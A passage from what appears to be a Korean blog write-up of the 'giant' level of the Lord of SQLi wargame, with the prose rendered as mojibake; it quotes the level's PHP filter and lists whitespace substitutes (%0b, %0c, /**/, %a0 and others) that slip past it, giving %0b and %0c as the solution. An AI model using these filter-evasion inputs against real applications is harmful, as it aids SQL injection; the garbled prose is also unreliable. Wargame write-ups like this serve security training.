ํฐ์คํ ๋ฆฌ ๋ทฐ
14๋ฒ์งธ ๋ฌธ์ ์ธ " giant "์ ๋๋ค.
if(strlen($_GET[shit])>1) exit("No Hack ~_~");
if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe");
์ด๋ฒ์๋ id ๋ pw ๋ณ์๊ฐ ์๋ shit ์ด๋ผ๋๋ณ์๋ฅผ ์ฌ์ฉํด์ผ ๋๋ฉฐ ์
๋ ฅ๋๋ ๊ฐ์ ๊ธธ์ด๋ 1๋ณด๋ค ๊ธธ๋ฉด " No Hack " ์ด๋ผ๋ ๋ฌธ๊ตฌ๋ฅผ ๋์ฐ๊ณ ์์ต๋๋ค.
๋ํ |\n|\r|\t/ ๋ฑ ์ฌ๋ฌ ๊ณต๋ฐฑ ์ฐํ ๊ธฐ๋ฒ์ ์ฐจ๋จํ๊ณ ์๊ธฐ์ ํ์ฉ๊ฐ๋ฅํ ๊ณต๋ฐฑ ๊ตฌ๋ฌธ์ ์ฐพ์์ผ ํฉ๋๋ค.
$query = "select 1234 from{$_GET[shit]}prob_giant where 1";
if($result[1234]) solve("giant");
๋ฌธ์ ๋ฅผ ํด๊ฒฐํ๊ธฐ์ํด์ ๊ฒฐ๊ด๊ฐ์ 1234 ๊ฐ ์ถ๋ ฅ๋์ผํ๋๋ฐ ์ฟผ๋ฆฌ๋ฌธ์ ์ด๋ฏธ " 1234 " ๊ฐ ์กด์ฌํฉ๋๋ค.??
๋ฌธ์ ๊ฐ ์กฐ๊ธ ํน์ดํ๋ค ์๊ฐํด์ ์ด๊ฑธ ์ด์ฉ๋ผ๋ ๊ฑด์ง ์๊ฐํ๋๋ฐ ์์ query ๊ตฌ๋ฌธ์ ๋ณด๋ฉด from(๊ณต๋ฐฑํ์).prob ๊ฐ ๋ถ์ด ์๊ธฐ ๋๋ฌธ์ ์ฌ์ด๋ฅผ ๋์์ฃผ๋ ๊ฒ์ด ๋ชฉํ์ธ ๊ฒ ๊ฐ์ต๋๋ค.
์ฌ์ฉ ๊ฐ๋ฅํ ๊ณต๋ฐฑ ๊ธฐํธ๋ฅผ ํ๋์ฉ ๋์ ํด๋ณด๋ฉด ์ฑ๊ณต ๊ฐ๋ฅํ ๊ตฌ๋ฌธ์ด ๋ช ๊ฐ์ง ์กด์ฌํ๊ธฐ์ ์ฑ๊ณต์ ์ผ๋ก ์คํ ์ด์ง๋ฅผ ํต๊ณผํ๊ฒ ๋ฉ๋๋ค.
๊ณต๋ฐฑ ์ฐํ
shit=()
shit=%0d (์บ๋ฆฌ์ง๋ฆฌํด(\r))
shit=/**/ (๋ค์ค์ฃผ์)
shit=%09 (TAB)
shit=%0a (Line Feed(\n))
shit=%0b (vertical tab)
shit=%a0
shit=%0c (new page)
shit=%2b(+)
shit=%20
Exploit Code
shit=%0b
shit=%0c
'CHALLENGE' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[LOS] Assassin ํ์ด(15) (0) | 2020.12.09 |
---|---|
XSS Challenges 6 (0) | 2020.12.09 |
[LOS] Bugbear ํ์ด(13) (0) | 2020.12.08 |
[LOS] Darkknight ํ์ด(12) (0) | 2020.12.08 |
XSS Challenges 5-2 (0) | 2020.12.08 |